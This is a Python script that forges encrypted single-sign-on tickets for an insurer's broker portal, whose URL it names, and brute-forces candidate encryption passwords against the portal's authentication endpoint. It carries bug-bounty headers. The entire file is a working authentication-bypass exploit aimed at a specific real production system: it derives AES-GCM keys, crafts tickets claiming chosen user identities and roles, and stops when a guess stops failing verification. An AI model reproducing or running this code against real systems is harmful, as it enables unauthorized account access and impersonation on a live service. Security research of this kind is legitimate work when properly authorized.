#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["cryptography>=43", "curl-cffi>=0.15"]
# ///
import argparse, base64, hashlib, json, os, struct, time, uuid
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from curl_cffi import requests

def make_ticket(password: str, username: str, roles: str, *, salt=None, random_block=None, lifetime=3600):
    salt = os.urandom(16) if salt is None else salt
    random_block = os.urandom(16) if random_block is None else random_block
    # BouncyCastle PKCS5S2ParametersGenerator.generateDerivedParameters(256,128):
    # first 32 bytes are the AES key and next 16 bytes the GCM IV.
    derived = hashlib.pbkdf2_hmac("sha1", password.encode("utf-8"), salt, 16000, dklen=48)
    key, iv = derived[:32], derived[32:]
    uid = str(uuid.uuid4())
    plain = (
        f"username={username};"
        f"userid={username};"
        f"eServiceUser={username};"
        f"Identifier={username};"
        f"userId={username};"
        f"uid={username};"
        f"sub={username};"
        f"tgic_id={username};"
        f"el_baloise_userid={username};"
        f"roles={roles};"
        f"uniqueId={uid};"
    ).encode("iso-8859-1") + struct.pack(">q", int((time.time()+lifetime)*1000))
    encrypted = AESGCM(key).encrypt(iv, random_block + plain, None)
    raw = f"[PBKDF2|16000|{salt.hex()}][GCM]".encode("ascii") + encrypted
    return base64.b64encode(raw).decode(), uid

def parse_response(r):
    try:
        j=r.json()
        errors=j.get("errors") or []
        return {
            "status":r.status_code, "len":len(r.content),
            "code": errors[0].get("code") if errors else None,
            "next": (j.get("meta") or {}).get("nextAuthStep") or (j.get("meta") or {}).get("nextStep"),
            "path": (((j.get("meta") or {}).get("uiSettings") or {}).get("path")),
            "forward": (j.get("meta") or {}).get("forwardUrl") or r.headers.get("X-Forward-URL"),
            "body": r.text[:300],
            "exchange": getattr(r,"toadex_exchange_id",None),
        }
    except Exception:
        return {"status":r.status_code,"len":len(r.content),"code":None,"body":r.text[:300],"exchange":getattr(r,"toadex_exchange_id",None)}

def try_password(base, app, password, capture=False):
    username="bugbounty-dwbzn-aesguess"
    roles="authenticated,user,portal_mo"
    ticket,uid=make_ticket(password, username, roles)
    s=requests.Session(impersonate="chrome")
    s.get(base+"/auth/", headers={"X-Bug-Bounty":"dwbzn"}, allow_redirects=False, timeout=20, toadex_capture=capture)
    csrf=s.cookies.get("CSRFT759-S") or ""
    h={
      "X-Bug-Bounty":"dwbzn",
      "X-Same-Domain":"1",
      "X-CSRFT759":csrf,
      "X-IAM-SSO-Ticket":ticket,
      "Content-Type":"application/json",
      "Accept":"application/json, application/vnd.api+json",
    }
    r=s.post(f"{base}/auth/rest/public/authentication/applications/{app}/access",
             headers=h,data="null",allow_redirects=False,timeout=25,toadex_capture=capture)
    out=parse_response(r); out.update(password=password, uid=uid)
    return out

def main():
    ap=argparse.ArgumentParser()
    ap.add_argument("--base",default="https://maklerportal.baloise.de")
    ap.add_argument("--app",default="el_account_linking2")
    ap.add_argument("--capture",action="store_true")
    ap.add_argument("passwords",nargs="+")
    a=ap.parse_args()
    for p in a.passwords:
        out=try_password(a.base,a.app,p,a.capture)
        print(json.dumps(out,ensure_ascii=False))
        if not (out["status"]==403 and out.get("code")=="SSO_TOKEN_VERIFICATION_FAILED"):
            break
if __name__=="__main__": main()
